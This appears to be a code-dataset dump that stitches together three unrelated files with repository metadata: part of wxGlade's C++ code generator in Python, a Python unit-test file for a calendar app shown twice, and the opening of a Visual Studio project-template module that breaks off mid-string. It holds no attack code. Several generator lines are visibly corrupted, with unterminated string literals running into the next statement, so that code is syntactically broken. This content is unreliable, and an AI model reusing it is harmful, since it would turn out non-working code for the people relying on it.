declarations code NOT generated" % code_obj.name ) header_buffer = [] hwrite = header_buffer.append if event_handlers: already_there = prev_src.event_handlers.get(classname, set()) t = self.tabs(1) for win_id, evt, handler, evt_type in event_handlers: if handler not in already_there: hwrite('%svirtual void %s(%s &event); // wxGlade: <event_handler>\n' % (t, handler, evt_type)) already_there.add( handler ) if classname not in prev_src.event_table_def: hwrite('\nprotected:\n') hwrite(self.tabs(1) + 'DECLARE_EVENT_TABLE()\n') tag = '<%swxGlade event_handlers %s>' % (self.nonce, classname) if not prev_src.replace_header( tag, "".join(header_buffer) ): self.warning( "wxGlade events block not found for %s, event table code NOT generated" % code_obj.name ) tab = self.tabs(1) style_p = code_obj.properties.get("style") if style_p and style_p.value_set != style_p.default_value: style = mycn_f(style_p.get_string_value()) if style: sign_inst = sign_inst.replace('style', '%s' % style) # constructor if is_new: base = "%s(%s)" % (base, sign_inst) if custom_base: bases = [b.strip() for b in custom_base.split(',')] if bases: base = "%s(%s)" % (bases[0], sign_inst) rest = ", ".join([b + "()" for b in bases[1:]]) if rest: base += ", " + rest swrite('\n%s::%s(%s):\n%s%s\n{\n' % (fmt_klass, fmt_klass, sign_decl2, tab, base) ) if self._mark_blocks: swrite(tab + '// begin wxGlade: %s::%s\n' % (fmt_klass, fmt_klass)) # the optional initial code from the code properties if not self.preview and code_obj.check_prop("extracode_pre"): for l in code_obj.properties["extracode_pre"].get_lines(): swrite(tab + l) # set size here to avoid problems with splitter windows if 'size' in code_obj.properties and code_obj.properties["size"].is_active(): swrite( tab + self.generate_code_size(code_obj) ) for l in builder.get_properties_code(code_obj): swrite(tab + l) for l in klass.init: swrite(tab + l) if klass.final: swrite(tab + "\n") for l in klass.final: swrite(tab + l) for l in builder.get_layout_code(code_obj): swrite(tab + l) # the optional final code from the code properties if not self.preview and code_obj.check_prop("extracode_post"): for l in code_obj.properties["extracode_post"].get_lines(): swrite(tab + l) # now check if there are extra lines to add to the constructor for l in builder.get_init_code(code_obj): swrite(tab + l) swrite( self.tmpl_ctor_call_layout % {'tab':tab} ) if self._mark_blocks: # end tag swrite('%s%s end wxGlade\n' % (tab, self.comment_sign)) # write class function end statement if self.tmpl_cfunc_end and is_new: swrite( self.tmpl_cfunc_end % {'tab':tab} ) # replace code inside existing constructor block if prev_src and not is_new: # replace the lines inside the ctor wxGlade block # with the new ones tag = '<%swxGlade replace %s %s>' % (self.nonce, classname, classname) if not prev_src.replace( tag, "".join(source_buffer) ): # no constructor tag found, issue a warning and do nothing self.warning( "wxGlade %s::%s block not found, relative code NOT generated" % (fmt_klass, fmt_klass) ) source_buffer = [] swrite = source_buffer.append # generate code for event table code_lines = self.generate_code_event_table( code_obj, is_new, tab, prev_src, event_handlers ) if prev_src and not is_new: tag = '<%swxGlade replace %s event_table>' % (self.nonce, classname) if not prev_src.replace( tag, "".join(code_lines) ): # no constructor tag found, issue a warning and do nothing self.warning( "wxGlade %s::event_table block not found, relative code NOT generated" % fmt_klass ) else: source_buffer.extend(code_lines) # generate code for event handler stubs code_lines = self.generate_code_event_handler( code_obj, is_new, tab, prev_src, event_handlers ) # replace code inside existing event handlers if prev_src and not is_new: tag = '<%swxGlade add %s event handlers>' % (self.nonce, classname) if not prev_src.replace( tag, "".join(code_lines) ): # no constructor tag found, issue a warning and do nothing self.warning( "wxGlade %s event handlers marker not found, relative code NOT generated" % fmt_klass ) else: source_buffer.extend(code_lines) if not self.multiple_files and prev_src: # if this is a new class, add its code to the new_classes list of the SourceFileContent instance if is_new: prev_src.new_classes.append( ("".join(header_buffer), "".join(source_buffer)) ) return if self.multiple_files: if base in self.obj_builders: klass.dependencies.update( getattr(self.obj_builders[base], 'import_modules', []) ) if prev_src: tag = '<%swxGlade insert new_classes>' % self.nonce prev_src.replace_header(tag, "") # insert the module dependencies of this class # WARNING: there's a double space ' ' between 'replace' and 'dependencies' in the tag below, tag = '<%swxGlade replace dependencies>' % self.nonce code = self._format_dependencies(klass.dependencies) prev_src.replace_header(tag, code) extra_code_h = "".join(klass.extra_code_h[::-1]) extra_code_cpp = "".join(klass.extra_code_cpp[::-1]) if extra_code_h or extra_code_cpp: self.warning( '%s (or one of its children) has extra code classes, but you are not overwriting ' 'existing sources: please check that the resulting code is correct!' % code_obj.name ) extra_code_h = self._tagcontent("::extracode", extra_code_h) extra_code_cpp = self._tagcontent("::extracode", extra_code_cpp) tag = '<%swxGlade replace extracode>' % self.nonce prev_src.replace_header(tag, extra_code_h) prev_src.replace(tag, extra_code_cpp) # store the new file contents to disk name = os.path.join(self.out_dir, classname) self.save_file( name +"."+ self.header_extension, "".join(prev_src.header_content), content_only=True ) self.save_file( name +"."+ self.source_extension, "".join(prev_src.content), content_only=True ) return # create the new source file header_file = os.path.join(self.out_dir, classname + "." + self.header_extension) source_file = os.path.join(self.out_dir, classname + "." + self.source_extension) hout = [] sout = [] # header file ---------------------------------------------------------------------------------------------- # isolation directives hn = os.path.basename(header_file).upper().replace('.', '_') hout.append(''\n') # write the common lines hout.extend( self.header_lines ) hout.append('\n') # write the module dependencies for this class code = self._format_dependencies(klass.dependencies) hout.append(code) hout.append('\n') # insert the extra code of this class extra_code_h = "".join(klass.extra_code_h[::-1]) extra_code_h = self._tagcontent('::extracode', extra_code_h) hout.append(extra_code_h) hout.append('\n') # write the class body for line in header_buffer: hout.append(line) hout.append('\n # source file ---------------------------------------------------------------------------------------------- # write the common lines sout.append(self.header_lines[0]) sout.append(' # insert the extra code of this class extra_code_cpp = "".join(klass.extra_code_cpp[::-1]) extra_code_cpp = self._tagcontent('::extracode', extra_code_cpp) sout.append(extra_code_cpp) sout.append('\n') # write the class implementation sout.extend(source_buffer) # store source to disk self.save_file(header_file, hout) self.save_file(source_file, sout) else: # not self.multiple_files # write the class body onto the single source file self.output_header.extend(header_buffer) self.output_file.extend(source_buffer) def add_object(self, klass, parent, parent_builder, obj): # get the widget builder instance builder = self._get_object_builder(klass, obj) if not builder: return None try: init, ids, final = builder.get_code(obj) except: print(obj) raise # this shouldn't happen if not obj.IS_SIZER: if obj.check_prop_truth("extracode_pre"): init = obj.properties["extracode_pre"].get_lines() + init if obj.check_prop_truth("extracode_post"): init += obj.properties["extracode_post"].get_lines() if obj.check_prop_truth('extraproperties'): init += self.generate_code_extraproperties(obj) mycn = getattr(builder, 'cn', self.cn) for win_id, evt, handler, evt_type in builder.get_event_handlers(obj): klass.event_handlers.append( (win_id, mycn(evt), handler, evt_type) ) extra_code = getattr(builder, 'extracode', getattr(obj, 'extracode', "") or "" ) if extra_code: extra_code = re.sub(r'\\n', '\n', extra_code) extra_code = re.split(re.compile(r'^ if len(extra_code) > 1: klass.extra_code_cpp.append(extra_code[1]) # if we are not overwriting existing source, warn the user about the presence of extra code if not self.multiple_files and self.previous_source: self.warning( '%s has extra code, but you are not overwriting existing sources: please check ' 'that the resulting code is correct!' % obj.name ) klass.ids.extend(ids) if self.store_as_attr(obj): if obj.check_prop("instance_class"): klassname = obj.instance_class else: klassname = obj.get_prop_value("class", obj.WX_CLASS) klass.sub_objs.append( (klassname, obj.name) ) klass.init.extend(init) if parent_builder: # add to sizer or notebook klass.init.extend( parent_builder.get_code_per_child(parent, obj) ) klass.final[:0] = final if self.multiple_files and obj.IS_CLASS: klass.dependencies.append(obj.klass) else: if obj.WX_CLASS in self.obj_builders: headers = getattr(self.obj_builders[obj.WX_CLASS], 'import_modules', []) klass.dependencies.update(headers) return builder def generate_code_event_handler(self, code_obj, is_new, tab, prev_src, event_handlers): code_lines = [] swrite = code_lines.append if not event_handlers: return [] tmpl_handler = """ void %(klass)s::%(handler)s(%(evt_type)s &event) // wxGlade: %(klass)s.<event_handler> { %(tab)sevent.Skip(); %(tab)s// notify the user that he hasn't implemented the event handler yet %(tab)swxLogDebug(wxT("Event handler (%(klass)s::%(handler)s) not implemented yet")); } """ if prev_src: already_there = prev_src.event_handlers.get(code_obj.klass, set()) else: already_there = set() for win_id, event, handler, evt_type in event_handlers: if handler not in already_there: swrite( tmpl_handler % {'evt_type': evt_type, 'handler': handler, 'klass': code_obj.klass, 'tab': tab} ) already_there.add( handler ) if is_new or not prev_src: swrite('\n\n') swrite('// wxGlade: add %s event handlers\n' % code_obj.klass) if is_new or not prev_src: swrite('\n') return code_lines def generate_code_event_table(self, code_obj, is_new, tab, prev_src, event_handlers): code_lines = [] write = code_lines.append if not event_handlers: return code_lines if prev_src and code_obj.klass in prev_src.event_table_decl: has_event_table = True else: has_event_table = False if is_new or not has_event_table: write('\nBEGIN_EVENT_TABLE(%s, %s)\n' % (code_obj.klass, code_obj.WX_CLASS)) write(tab + '// begin wxGlade: %s::event_table\n' % code_obj.klass) for obj, event, handler, evt_type in event_handlers: if obj is None: continue if isinstance(obj, str): win_id = obj else: win_id = self.generate_code_id(obj)[1] if 'EVT_NAVIGATION_KEY' in event: tmpl = '%(tab)s%(event)s(%(klass)s::%(handler)s)\n' else: tmpl = '%(tab)s%(event)s(%(win_id)s, %(klass)s::%(handler)s)\n' details = { 'tab': tab, 'event': event, 'win_id': win_id, 'klass': code_obj.klass, 'handler': handler } write(tmpl % details) write(tab + '// end wxGlade\n') if is_new or not has_event_table: write('END_EVENT_TABLE();\n\n') return code_lines def generate_code_id(self, obj, id=None): if id is None: id = obj.window_id if not id: if obj is not None and obj.check_prop_truth("stockitem"): return '', "wxID_" + obj.stockitem return '', 'wxID_ANY' id = str(id) tokens = id.split('=', 1) if len(tokens) != 2: return '', tokens[0] name, val = tokens if not name: return '', val name = name.strip() val = val.strip() if val == '?': val = self.generated_ids.get(name) if val is None: val = 'wxID_HIGHEST + %d' % self.last_generated_id self.last_generated_id += 1 self.generated_ids[name] = val else: val = val return '%s = %s' % (name, val), name def generate_code_size(self, obj): objname = self.format_generic_access(obj) if obj.IS_CLASS: name2 = 'this' else: name2 = obj.name size = obj.properties["size"].get_string_value() use_dialog_units = (size[-1] == 'd') method = 'SetMinSize' if obj.parent_window else 'SetSize' if use_dialog_units: return '%s%s(wxDLG_UNIT(%s, wxSize(%s)));\n' % (objname, method, name2, size[:-1]) return '%s%s(wxSize(%s));\n' % (objname, method, size) def quote_path(self, s): return 'wxT(%s)' % super(CPPCodeWriter, self).quote_path(s) def _quote_str(self, s): if self._use_gettext: return '_("%s")' % s return 'wxT("%s")' % s def format_generic_access(self, obj): if obj.IS_CLASS: return '' return '%s->' % obj.name def _format_dependencies(self, dependencies): dep_list = [] for dependency in sorted(dependencies): if dependency and ('"' != dependency[0] != '<'): dep_list.append('#include "%s.h"\n' % dependency) else: dep_list.append('#include %s\n' % dependency) return self._tagcontent( '::dependencies', dep_list ) writer = CPPCodeWriter() # The code writer is an instance of CPPCodeWriter language = writer.language # Language generated by this code generator

true

f710299efd3e51d5e4b2e5cd7c0de74cacf615c7

3,230

py

Python

tests/calendar_models_test.py

C4theBomb/python-calendar-app

6776403f7f2440c6497d9a53be5e8d617a2ee817

[ "MIT" ]

null

tests/calendar_models_test.py

C4theBomb/python-calendar-app

6776403f7f2440c6497d9a53be5e8d617a2ee817

[ "MIT" ]

null

tests/calendar_models_test.py

C4theBomb/python-calendar-app

6776403f7f2440c6497d9a53be5e8d617a2ee817

[ "MIT" ]

null

import sys import os from io import StringIO from datetime import datetime import unittest from unittest.mock import patch sys.path.append(os.path.abspath("./src/")) from calendarApp.models import Event, Calendar class CalendarModelTests(unittest.TestCase): @classmethod def setUpClass(cls): cls.data1 = { "name": "Test Event 1", "start_time": "01/01/2000 00:00:00", "end_time": "01/01/2001 00:00:00" } cls.data2 = { "name": "Test Event 2", "start_time": "01/01/2001 00:00:00", "end_time": "01/01/2002 00:00:00" } @classmethod def tearDownClass(cls): del cls.data1 del cls.data2 def setUp(self): self.calendar = Calendar("Test") def tearDown(self): del self.calendar def test_event_add(self): # Test Configuration and Setup with patch('sys.stdout', StringIO()) as print_output: # Test Function self.calendar.add_event( self.data1["name"], self.data1["start_time"], self.data1["end_time"]) calendar_event = self.calendar.schedule[0] # Test Assertions self.assertEqual( f"[INFO] Event {self.data1['name']} added", print_output.getvalue().rstrip()) self.assertEqual(self.data1["name"], calendar_event.name) def test_event_delete(self): # Test Configuration and Setup self.calendar.schedule = [ Event( self.data1["name"], self.data1["start_time"], self.data1["end_time"]) ] calendar_event = self.calendar.schedule[0] with patch('sys.stdout', StringIO()) as print_output: # Test Function self.calendar.delete_event([str(calendar_event.id)]) # Test Assertions self.assertEqual( f"[INFO] Event(s) ['{calendar_event.id}'] removed", print_output.getvalue().rstrip()) self.assertFalse(self.calendar.schedule) def test_event_order(self): # Test Configuration and Setup self.calendar.schedule = [ Event( self.data2["name"], self.data2["start_time"], self.data2["end_time"]), Event( self.data1["name"], self.data1["start_time"], self.data1["end_time"]) ] # Test Function self.calendar.order_events() # Test Assertions self.assertLess( self.calendar.schedule[0].start_time, self.calendar.schedule[1].start_time) def test_event_print(self): # Test Configuration and Setup self.calendar.schedule = [ Event( self.data1["name"], self.data1["start_time"], self.data1["end_time"]), Event( self.data2["name"], self.data2["start_time"], self.data2["end_time"]) ] # Test Assertions with patch('sys.stdout', StringIO()) as print_output: self.calendar.print_events() self.assertTrue(self.data1["name"] in print_output.getvalue()) self.assertTrue(self.data2["name"] in print_output.getvalue()) if __name__ == "__main__": unittest.main()

31.666667

101

0.583901

import sys import os from io import StringIO from datetime import datetime import unittest from unittest.mock import patch sys.path.append(os.path.abspath("./src/")) from calendarApp.models import Event, Calendar class CalendarModelTests(unittest.TestCase): @classmethod def setUpClass(cls): cls.data1 = { "name": "Test Event 1", "start_time": "01/01/2000 00:00:00", "end_time": "01/01/2001 00:00:00" } cls.data2 = { "name": "Test Event 2", "start_time": "01/01/2001 00:00:00", "end_time": "01/01/2002 00:00:00" } @classmethod def tearDownClass(cls): del cls.data1 del cls.data2 def setUp(self): self.calendar = Calendar("Test") def tearDown(self): del self.calendar def test_event_add(self): with patch('sys.stdout', StringIO()) as print_output: self.calendar.add_event( self.data1["name"], self.data1["start_time"], self.data1["end_time"]) calendar_event = self.calendar.schedule[0] self.assertEqual( f"[INFO] Event {self.data1['name']} added", print_output.getvalue().rstrip()) self.assertEqual(self.data1["name"], calendar_event.name) def test_event_delete(self): self.calendar.schedule = [ Event( self.data1["name"], self.data1["start_time"], self.data1["end_time"]) ] calendar_event = self.calendar.schedule[0] with patch('sys.stdout', StringIO()) as print_output: self.calendar.delete_event([str(calendar_event.id)]) self.assertEqual( f"[INFO] Event(s) ['{calendar_event.id}'] removed", print_output.getvalue().rstrip()) self.assertFalse(self.calendar.schedule) def test_event_order(self): self.calendar.schedule = [ Event( self.data2["name"], self.data2["start_time"], self.data2["end_time"]), Event( self.data1["name"], self.data1["start_time"], self.data1["end_time"]) ] self.calendar.order_events() self.assertLess( self.calendar.schedule[0].start_time, self.calendar.schedule[1].start_time) def test_event_print(self): self.calendar.schedule = [ Event( self.data1["name"], self.data1["start_time"], self.data1["end_time"]), Event( self.data2["name"], self.data2["start_time"], self.data2["end_time"]) ] with patch('sys.stdout', StringIO()) as print_output: self.calendar.print_events() self.assertTrue(self.data1["name"] in print_output.getvalue()) self.assertTrue(self.data2["name"] in print_output.getvalue()) if __name__ == "__main__": unittest.main()

true

f71029e0362daf93beff056b71cb94f06389a620

15,953

py

Python

lib/tpn/visualstudio/templates.py

tpn/tpn

5c0fcc3c4b264dfb95b5029864c6006530150c85

[ "MIT" ]

2

2020-01-08T02:19:18.000Z

2022-01-11T09:06:03.000Z

lib/tpn/visualstudio/templates.py

tpn/tpn

5c0fcc3c4b264dfb95b5029864c6006530150c85

[ "MIT" ]

null

lib/tpn/visualstudio/templates.py

tpn/tpn

5c0fcc3c4b264dfb95b5029864c6006530150c85

[ "MIT" ]

1

2020-12-30T22:21:14.000Z

"""Visual Studio Helper Utils.""" #=============================================================================== # Imports #=============================================================================== import uuid #=============================================================================== # Globals #=============================================================================== vcxproj_template = """\ <?xml version="1.0" encoding="utf-8"?> <Project DefaultTargets="Build" ToolsVersion="4.0" xmlns="http://schemas.microsoft.com/developer/msbuild/2003"> <ItemGroup Label="ProjectConfigurations"> <ProjectConfiguration Include="Debug|Win32"> <Configuration>Debug</Configuration> <Platform>Win32</Platform> </ProjectConfiguration> <ProjectConfiguration Include="Debug|x64"> <Configuration>Debug</Configuration> <Platform>x64</Platform> </ProjectConfiguration> <ProjectConfiguration Include="PGInstrument|Win32"> <Configuration>PGInstrument</Configuration> <Platform>Win32</Platform> </ProjectConfiguration> <ProjectConfiguration Include="PGInstrument|x64"> <Configuration>PGInstrument</Configuration> <Platform>x64</Platform> </ProjectConfiguration> <ProjectConfiguration Include="PGUpdate|Win32"> <Configuration>PGUpdate</Configuration> <Platform>Win32</Platform> </ProjectConfiguration> <ProjectConfiguration Include="PGUpdate|x64"> <Configuration>PGUpdate</Configuration> <Platform>x64</Platform> </ProjectConfiguration> <ProjectConfiguration Include="Release|Win32"> <Configuration>Release</Configuration> <Platform>Win32</Platform> </ProjectConfiguration> <ProjectConfiguration Include="Release|x64"> <Configuration>Release</Configuration> <Platform>x64</Platform> </ProjectConfiguration> </ItemGroup> <PropertyGroup Label="Globals"> <ProjectGuid>%(guid)s</ProjectGuid> <RootNamespace>%(name)s</RootNamespace> <Keyword>Win32Proj</Keyword> </PropertyGroup> <PropertyGroup Label="UserMacros"> <%(dirname_macro_name)s>%(dirname_macro_value)s</%(dirname_macro_name)s> </PropertyGroup> <Import Project="$(VCTargetsPath)\Microsoft.Cpp.Default.props" /> <PropertyGroup Condition="'$(Configuration)|$(Platform)'=='PGUpdate|Win32'" Label="Configuration"> <ConfigurationType>DynamicLibrary</ConfigurationType> <CharacterSet>NotSet</CharacterSet> <WholeProgramOptimization>true</WholeProgramOptimization> </PropertyGroup> <PropertyGroup Condition="'$(Configuration)|$(Platform)'=='PGInstrument|Win32'" Label="Configuration"> <ConfigurationType>DynamicLibrary</ConfigurationType> <CharacterSet>NotSet</CharacterSet> <WholeProgramOptimization>true</WholeProgramOptimization> </PropertyGroup> <PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Release|Win32'" Label="Configuration"> <ConfigurationType>DynamicLibrary</ConfigurationType> <CharacterSet>NotSet</CharacterSet> <WholeProgramOptimization>true</WholeProgramOptimization> </PropertyGroup> <PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Debug|Win32'" Label="Configuration"> <ConfigurationType>DynamicLibrary</ConfigurationType> <CharacterSet>NotSet</CharacterSet> </PropertyGroup> <PropertyGroup Condition="'$(Configuration)|$(Platform)'=='PGUpdate|x64'" Label="Configuration"> <ConfigurationType>DynamicLibrary</ConfigurationType> <CharacterSet>NotSet</CharacterSet> <WholeProgramOptimization>true</WholeProgramOptimization> </PropertyGroup> <PropertyGroup Condition="'$(Configuration)|$(Platform)'=='PGInstrument|x64'" Label="Configuration"> <ConfigurationType>DynamicLibrary</ConfigurationType> <CharacterSet>NotSet</CharacterSet> <WholeProgramOptimization>true</WholeProgramOptimization> </PropertyGroup> <PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Release|x64'" Label="Configuration"> <ConfigurationType>DynamicLibrary</ConfigurationType> <CharacterSet>NotSet</CharacterSet> <WholeProgramOptimization>true</WholeProgramOptimization> </PropertyGroup> <PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Debug|x64'" Label="Configuration"> <ConfigurationType>DynamicLibrary</ConfigurationType> <CharacterSet>NotSet</CharacterSet> </PropertyGroup> <Import Project="$(VCTargetsPath)\Microsoft.Cpp.props" /> <ImportGroup Label="ExtensionSettings"> </ImportGroup> <ImportGroup Condition="'$(Configuration)|$(Platform)'=='PGUpdate|Win32'" Label="PropertySheets"> <Import Project="$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props" Condition="exists('$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props')" Label="LocalAppDataPlatform" /> <Import Project="%(name)s.props" /> <Import Project="%(pcbuild_prefix)spyd.props" /> <Import Project="%(pcbuild_prefix)spgupdate.props" /> </ImportGroup> <ImportGroup Condition="'$(Configuration)|$(Platform)'=='PGInstrument|Win32'" Label="PropertySheets"> <Import Project="$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props" Condition="exists('$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props')" Label="LocalAppDataPlatform" /> <Import Project="%(name)s.props" /> <Import Project="%(pcbuild_prefix)spyd.props" /> <Import Project="%(pcbuild_prefix)spginstrument.props" /> </ImportGroup> <ImportGroup Condition="'$(Configuration)|$(Platform)'=='Release|Win32'" Label="PropertySheets"> <Import Project="$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props" Condition="exists('$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props')" Label="LocalAppDataPlatform" /> <Import Project="%(pcbuild_prefix)s%(name)s.props" /> <Import Project="%(pcbuild_prefix)spyd.props" /> </ImportGroup> <ImportGroup Condition="'$(Configuration)|$(Platform)'=='Debug|Win32'" Label="PropertySheets"> <Import Project="$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props" Condition="exists('$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props')" Label="LocalAppDataPlatform" /> <Import Project="%(name)s.props" /> <Import Project="%(name)s_debug.props" /> <Import Project="%(pcbuild_prefix)spyd_d.props" /> <Import Project="%(pcbuild_prefix)sdebug.props" /> </ImportGroup> <ImportGroup Condition="'$(Configuration)|$(Platform)'=='PGUpdate|x64'" Label="PropertySheets"> <Import Project="$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props" Condition="exists('$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props')" Label="LocalAppDataPlatform" /> <Import Project="%(name)s.props" /> <Import Project="%(pcbuild_prefix)spyd.props" /> <Import Project="%(pcbuild_prefix)sx64.props" /> <Import Project="%(pcbuild_prefix)spgupdate.props" /> </ImportGroup> <ImportGroup Condition="'$(Configuration)|$(Platform)'=='PGInstrument|x64'" Label="PropertySheets"> <Import Project="$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props" Condition="exists('$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props')" Label="LocalAppDataPlatform" /> <Import Project="%(name)s.props" /> <Import Project="%(pcbuild_prefix)spyd.props" /> <Import Project="%(pcbuild_prefix)sx64.props" /> <Import Project="%(pcbuild_prefix)spginstrument.props" /> </ImportGroup> <ImportGroup Condition="'$(Configuration)|$(Platform)'=='Release|x64'" Label="PropertySheets"> <Import Project="$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props" Condition="exists('$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props')" Label="LocalAppDataPlatform" /> <Import Project="%(name)s.props" /> <Import Project="%(pcbuild_prefix)spyd.props" /> <Import Project="%(pcbuild_prefix)sx64.props" /> </ImportGroup> <ImportGroup Condition="'$(Configuration)|$(Platform)'=='Debug|x64'" Label="PropertySheets"> <Import Project="$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props" Condition="exists('$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props')" Label="LocalAppDataPlatform" /> <Import Project="%(name)s.props" /> <Import Project="%(name)s_debug.props" /> <Import Project="%(pcbuild_prefix)spyd_d.props" /> <Import Project="%(pcbuild_prefix)sdebug.props" /> <Import Project="%(pcbuild_prefix)sx64.props" /> </ImportGroup> <PropertyGroup Label="UserMacros" /> <PropertyGroup> <_ProjectFileVersion>10.0.30319.1</_ProjectFileVersion> <CodeAnalysisRuleSet Condition="'$(Configuration)|$(Platform)'=='Debug|Win32'">AllRules.ruleset</CodeAnalysisRuleSet> <CodeAnalysisRules Condition="'$(Configuration)|$(Platform)'=='Debug|Win32'" /> <CodeAnalysisRuleAssemblies Condition="'$(Configuration)|$(Platform)'=='Debug|Win32'" /> <CodeAnalysisRuleSet Condition="'$(Configuration)|$(Platform)'=='Debug|x64'">AllRules.ruleset</CodeAnalysisRuleSet> <CodeAnalysisRules Condition="'$(Configuration)|$(Platform)'=='Debug|x64'" /> <CodeAnalysisRuleAssemblies Condition="'$(Configuration)|$(Platform)'=='Debug|x64'" /> <CodeAnalysisRuleSet Condition="'$(Configuration)|$(Platform)'=='PGInstrument|Win32'">AllRules.ruleset</CodeAnalysisRuleSet> <CodeAnalysisRules Condition="'$(Configuration)|$(Platform)'=='PGInstrument|Win32'" /> <CodeAnalysisRuleAssemblies Condition="'$(Configuration)|$(Platform)'=='PGInstrument|Win32'" /> <CodeAnalysisRuleSet Condition="'$(Configuration)|$(Platform)'=='PGInstrument|x64'">AllRules.ruleset</CodeAnalysisRuleSet> <CodeAnalysisRules Condition="'$(Configuration)|$(Platform)'=='PGInstrument|x64'" /> <CodeAnalysisRuleAssemblies Condition="'$(Configuration)|$(Platform)'=='PGInstrument|x64'" /> <CodeAnalysisRuleSet Condition="'$(Configuration)|$(Platform)'=='PGUpdate|Win32'">AllRules.ruleset</CodeAnalysisRuleSet> <CodeAnalysisRules Condition="'$(Configuration)|$(Platform)'=='PGUpdate|Win32'" /> <CodeAnalysisRuleAssemblies Condition="'$(Configuration)|$(Platform)'=='PGUpdate|Win32'" /> <CodeAnalysisRuleSet Condition="'$(Configuration)|$(Platform)'=='PGUpdate|x64'">AllRules.ruleset</CodeAnalysisRuleSet> <CodeAnalysisRules Condition="'$(Configuration)|$(Platform)'=='PGUpdate|x64'" /> <CodeAnalysisRuleAssemblies Condition="'$(Configuration)|$(Platform)'=='PGUpdate|x64'" /> <CodeAnalysisRuleSet Condition="'$(Configuration)|$(Platform)'=='Release|Win32'">AllRules.ruleset</CodeAnalysisRuleSet> <CodeAnalysisRules Condition="'$(Configuration)|$(Platform)'=='Release|Win32'" /> <CodeAnalysisRuleAssemblies Condition="'$(Configuration)|$(Platform)'=='Release|Win32'" /> <CodeAnalysisRuleSet Condition="'$(Configuration)|$(Platform)'=='Release|x64'">AllRules.ruleset</CodeAnalysisRuleSet> <CodeAnalysisRules Condition="'$(Configuration)|$(Platform)'=='Release|x64'" /> <CodeAnalysisRuleAssemblies Condition="'$(Configuration)|$(Platform)'=='Release|x64'" /> </PropertyGroup> <ItemDefinitionGroup Condition="'$(Configuration)|$(Platform)'=='Debug|Win32'"> <ClCompile> <AdditionalIncludeDirectories>%%(AdditionalIncludeDirectories)</AdditionalIncludeDirectories>%(exception_handling)s </ClCompile> </ItemDefinitionGroup> <ItemDefinitionGroup Condition="'$(Configuration)|$(Platform)'=='Debug|x64'"> <Midl> <TargetEnvironment>X64</TargetEnvironment> </Midl> <ClCompile> <AdditionalIncludeDirectories>%%(AdditionalIncludeDirectories)</AdditionalIncludeDirectories>%(exception_handling)s </ClCompile> </ItemDefinitionGroup> <ItemDefinitionGroup Condition="'$(Configuration)|$(Platform)'=='Release|Win32'"> <ClCompile> <AdditionalIncludeDirectories>%%(AdditionalIncludeDirectories)</AdditionalIncludeDirectories>%(exception_handling)s </ClCompile> </ItemDefinitionGroup> <ItemDefinitionGroup Condition="'$(Configuration)|$(Platform)'=='Release|x64'"> <Midl> <TargetEnvironment>X64</TargetEnvironment> </Midl> <ClCompile> <AdditionalIncludeDirectories>%%(AdditionalIncludeDirectories)</AdditionalIncludeDirectories>%(exception_handling)s </ClCompile> </ItemDefinitionGroup> <ItemDefinitionGroup Condition="'$(Configuration)|$(Platform)'=='PGInstrument|Win32'"> <ClCompile> <AdditionalIncludeDirectories>%%(AdditionalIncludeDirectories)</AdditionalIncludeDirectories>%(exception_handling)s </ClCompile> </ItemDefinitionGroup> <ItemDefinitionGroup Condition="'$(Configuration)|$(Platform)'=='PGInstrument|x64'"> <Midl> <TargetEnvironment>X64</TargetEnvironment> </Midl> <ClCompile> <AdditionalIncludeDirectories>%%(AdditionalIncludeDirectories)</AdditionalIncludeDirectories>%(exception_handling)s </ClCompile> </ItemDefinitionGroup> <ItemDefinitionGroup Condition="'$(Configuration)|$(Platform)'=='PGUpdate|Win32'"> <ClCompile> <AdditionalIncludeDirectories>%%(AdditionalIncludeDirectories)</AdditionalIncludeDirectories>%(exception_handling)s </ClCompile> </ItemDefinitionGroup> <ItemDefinitionGroup Condition="'$(Configuration)|$(Platform)'=='PGUpdate|x64'"> <Midl> <TargetEnvironment>X64</TargetEnvironment> </Midl> <ClCompile> <AdditionalIncludeDirectories>%%(AdditionalIncludeDirectories)</AdditionalIncludeDirectories>%(exception_handling)s </ClCompile> </ItemDefinitionGroup> %(includes)s %(compiles)s %(resources)s %(others)s<ItemGroup> <ProjectReference Include="pythoncore.vcxproj"> <Project>{cf7ac3d1-e2df-41d2-bea6-1e2556cdea26}</Project> </ProjectReference> </ItemGroup> <Import Project="$(VCTargetsPath)\Microsoft.Cpp.targets" /> <ImportGroup Label="ExtensionTargets"> </ImportGroup> </Project>""" vcxproj_filters_template = """\ <?xml version="1.0" encoding="utf-8"?> <Project ToolsVersion="4.0" xmlns="http://schemas.microsoft.com/developer/msbuild/2003"> <ItemGroup> %(source_filterdef)s %(include_filterdef)s %(resource_filterdef)s %(python_filterdef)s %(cython_filterdef)s %(other_filterdef)s </ItemGroup> %(source_filters)s %(include_filters)s %(resource_filters)s %(python_filters)s %(cython_filters)s %(other_filters)s </Project>""" props_template = """\ <?xml version="1.0" encoding="utf-8"?> <Project DefaultTargets="Build" ToolsVersion="4.0" xmlns="http://schemas.microsoft.com/developer/msbuild/2003"> <PropertyGroup> <_ProjectFileVersion>10.0.30319.1</_ProjectFileVersion> </PropertyGroup> <ItemDefinitionGroup> <ClCompile>%(compiles_props)s%(additional_include_dirs)s </ClCompile> <ResourceCompile>%(resources_props)s </ResourceCompile> </ItemDefinitionGroup> </Project>""" props_debug_template = """\ <?xml version="1.0" encoding="utf-8"?> <Project DefaultTargets="Build" ToolsVersion="4.0" xmlns="http://schemas.microsoft.com/developer/msbuild/2003"> <PropertyGroup> <_ProjectFileVersion>10.0.30319.1</_ProjectFileVersion> </PropertyGroup> 